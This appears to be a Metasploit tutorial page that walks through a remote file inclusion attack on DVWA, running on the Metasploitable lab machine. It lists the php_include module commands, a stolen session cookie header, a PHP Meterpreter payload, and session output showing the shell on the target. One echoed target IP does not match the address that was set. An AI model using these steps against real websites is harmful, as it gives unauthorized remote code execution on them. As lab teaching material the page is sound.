PHP Meterpreter a11y.text PHP Meterpreter The Internet is littered with improperly coded web applications with multiple vulnerabilities being disclosed on a daily basis. One of the more critical vulnerabilities is Remote File Inclusion (RFI) that allows an attacker to force PHP code of their choosing to be executed by the remote site even though it is stored on a different site. Metasploit published not only a php_include module but also a PHP Meterpreter payload. This is a continuation of the remote file inclusion vulnerabilities page. The php_include module is very versatile as it can be used against any number of vulnerable webapps and is not product-specific. In order to make use of the file inclusion exploit module, we will need to know the exact path to the vulnerable site. Cookie Setup a11y.text Cookie Setup Weâ€™ll be using the Damn Vulnerable Web Application (DVWA) on metasploitable. For this particular application, we will need some cookie information from the web page. Specifically, we will need the PHP session ID of a logged on session, as well as DVWAâ€™s security setting. To obtain the cookie information, we will use an Iceweasel add-on called Cookies Manager+. In Iceweasel, browse to about:addons and search for â€˜cookies manager+â€™. Download and install Cookies Manager+ and restart your browser. Once logged into DVWA, go to tools -> Cookie Manager+ and find the entry for the victim IP-address. Copy the value of PHPSESSID, and make sure that â€˜securityâ€™ is set to â€˜lowâ€™. Module Options a11y.text Module Options Loading the module in metasploit, we can see a great number of options available to us.

```
msf > use exploit/unix/webapp/php_include
msf exploit(php_include) > show options

Module options (exploit/unix/webapp/php_include):

   Name     Current Setting                                          Required  Description
   ----     ---------------                                          --------  -----------
   HEADERS                                                           no        Any additional HTTP headers to
send, cookies for example. Format: "header:value,header2:value2"
```

```
   PATH      /                                                    yes       The base directory to prepend to the
URL to try
   PHPRFIDB  /usr/share/metasploit-framework/data/exploits/php/rfi-locations.dat  no        A local file
containing a list of URLs to try, with XXpathXX replacing the URL
   PHPURI                                                          no        The URI to request, with the include
parameter changed to XXpathXX
   POSTDATA                                                        no        The POST data to send, with the
include parameter changed to XXpathXX
   Proxies                                                         no        A proxy chain of format
type:host:port[,type:host:port][...]
   RHOST                                                           yes       The target address
   RPORT     80                                                    yes       The target port (TCP)
   SRVHOST   0.0.0.0                                               yes       The local host to listen on. This
must be an address on the local machine or 0.0.0.0
   SRVPORT   8080                                                  yes       The local port to listen on.
   SSL       false                                                 no        Negotiate SSL/TLS for outgoing
connections
   SSLCert                                                         no        Path to a custom SSL certificate
(default is randomly generated)
   URIPATH                                                         no        The URI to use for this exploit
(default is random)
   VHOST                                                           no        HTTP server virtual host


Exploit target:
   Id  Name
   --  ----
   0   Automatic
```

The most critical option to set in this particular module is the exact path to the vulnerable inclusion point. Where we would normally provide the URL to our PHP shell, we simply need to place the text XXpathXX and Metasploit will know to attack this particular point on the site.

```
msf exploit(php_include) > set PHPURI /?page=XXpathXX
PHPURI => /?page=XXpathXX
msf exploit(php_include) > set PATH /dvwa/vulnerabilities/fi/
PATH => /dvwa/vulnerabilities/fi/
msf exploit(php_include) > set RHOST 192.168.80.134
RHOST => 192.168.1.150
msf exploit(php_include) > set HEADERS "Cookie:security=low;
PHPSESSID=dac6577a6c8017bab048dfbc92de6d92"
HEADERS => Cookie:security=low; PHPSESSID=dac6577a6c8017bab048dfbc92de6d92
```

In order to further show off the versatility of Metasploit, we will use the PHP Meterpreter payload.

```
msf exploit(php_include) > set PAYLOAD php/meterpreter/bind_tcp
PAYLOAD => php/meterpreter/bind_tcp
msf exploit(php_include) > exploit

[*] Started bind handler
[*] Using URL: http://0.0.0.0:8080/ehgqo4
[*]  Local IP: http://192.168.80.128:8080/ehgqo4
[*] PHP include server started.
[*] Sending stage (29382 bytes) to 192.168.80.134
[*] Meterpreter session 1 opened (192.168.80.128:56931 -> 192.168.80.134:4444) at 2010-08-21
14:35:51 -0600
```

```
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter : php/php
```

meterpreter > Just like that, a whole new avenue of attack is opened up using Metasploit. Next

Building A Module Prev File Inclusion Vulnerabilities